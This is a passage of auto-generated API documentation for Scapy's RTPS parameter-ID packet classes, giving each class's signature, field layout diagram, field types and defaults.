|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_MULTICAST_IPADDRESS                   


PID_MULTICAST_IPADDRESS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_MULTICAST_LOCATOR(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L298-L317]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PID_MULTICAST_LOCATOR                    


PID_MULTICAST_LOCATOR fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_OWNERSHIP(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L211-L212]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_OWNERSHIP                        


PID_OWNERSHIP fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_OWNERSHIP_STRENGTH(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L215-L216]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_OWNERSHIP_STRENGTH                    


PID_OWNERSHIP_STRENGTH fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PAD(_pkt, /, *, parameterId=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L137-L144]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PID_PAD                           


PID_PAD fields






	parameterId

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PARTICIPANT_BUILTIN_ENDPOINTS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L428-L429]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PID_PARTICIPANT_BUILTIN_ENDPOINTS              


PID_PARTICIPANT_BUILTIN_ENDPOINTS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PARTICIPANT_GUID(_pkt, /, *, parameterId=0, parameterLength=0, guid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L440-L454]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              GUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PID_PARTICIPANT_GUID                     


PID_PARTICIPANT_GUID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	guid

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PARTICIPANT_LEASE_DURATION(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L432-L433]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PID_PARTICIPANT_LEASE_DURATION                


PID_PARTICIPANT_LEASE_DURATION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L424-L425]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT           


PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PARTITION(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L223-L224]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_PARTITION                        


PID_PARTITION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PLUGIN_PROMISCUITY_KIND(_pkt, /, *, parameterId=0, parameterLength=0, promiscuityKind=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L539-L557]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        PROMISCUITYKIND                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PID_PLUGIN_PROMISCUITY_KIND                 


PID_PLUGIN_PROMISCUITY_KIND fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	promiscuityKind

	EField

	0















	
class scapy.contrib.rtps.pid_types.PID_PRESENTATION(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L219-L220]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PID_PRESENTATION                       


PID_PRESENTATION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PRODUCT_VERSION(_pkt, /, *, parameterId=0, parameterLength=0, productVersion=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L522-L536]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PRODUCTVERSION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_PRODUCT_VERSION                     


PID_PRODUCT_VERSION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	productVersion

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PROPERTY_LIST(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L486-L487]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PID_PROPERTY_LIST                      


PID_PROPERTY_LIST fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_PROTOCOL_VERSION(_pkt, /, *, parameterId=0, parameterLength=0, protocolVersion=b'', padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L235-L255]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOLVERSION        |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PID_PROTOCOL_VERSION                     


PID_PROTOCOL_VERSION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	protocolVersion

	PacketField

	b''



	padding

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_REACHABILITY_LEASE_DURATION(_pkt, /, *, parameterId=0, parameterLength=0, lease_duration=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L604-L618]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         LEASE DURATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PID_REACHABILITY_LEASE_DURATION               


PID_REACHABILITY_LEASE_DURATION fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	lease_duration

	PacketField

	b''















	
class scapy.contrib.rtps.pid_types.PID_RELIABILITY(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L191-L192]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_RELIABILITY                       


PID_RELIABILITY fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_RESOURCE_LIMITS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L207-L208]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_RESOURCE_LIMITS                     


PID_RESOURCE_LIMITS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_RTI_DOMAIN_ID(_pkt, /, *, parameterId=0, parameterLength=0, domainId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L560-L578]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DOMAINID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PID_RTI_DOMAIN_ID                      


PID_RTI_DOMAIN_ID fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	domainId

	EField

	0















	
class scapy.contrib.rtps.pid_types.PID_SENTINEL(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L147-L148]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PID_SENTINEL                         


PID_SENTINEL fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_STATUS_INFO(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L502-L503]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_STATUS_INFO                       


PID_STATUS_INFO fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TIME_BASED_FILTER(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L227-L228]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PID_TIME_BASED_FILTER                    


PID_TIME_BASED_FILTER fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TOPIC_DATA(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L167-L168]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_TOPIC_DATA                        


PID_TOPIC_DATA fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TOPIC_NAME(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L155-L156]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PID_TOPIC_NAME                        


PID_TOPIC_NAME fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TRANSPORT_INFO_LIST(_pkt, /, *, parameterId=0, parameterLength=0, padding=b'', transportInfo=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L581-L601]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PADDING                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TRANSPORTINFO         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_TRANSPORT_INFO_LIST                   


PID_TRANSPORT_INFO_LIST fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	padding

	XStrFixedLenField

	b''



	transportInfo

	EField

	[]















	
class scapy.contrib.rtps.pid_types.PID_TRANSPORT_PRIO(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L231-L232]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PID_TRANSPORT_PRIO                      


PID_TRANSPORT_PRIO fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TRANSPORT_PRIORITY(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L358-L359]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PID_TRANSPORT_PRIORITY                    


PID_TRANSPORT_PRIORITY fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TYPE_MAX_SIZE_SERIALIZED(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L490-L491]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PID_TYPE_MAX_SIZE_SERIALIZED                 


PID_TYPE_MAX_SIZE_SERIALIZED fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_TYPE_NAME(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L159-L160]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
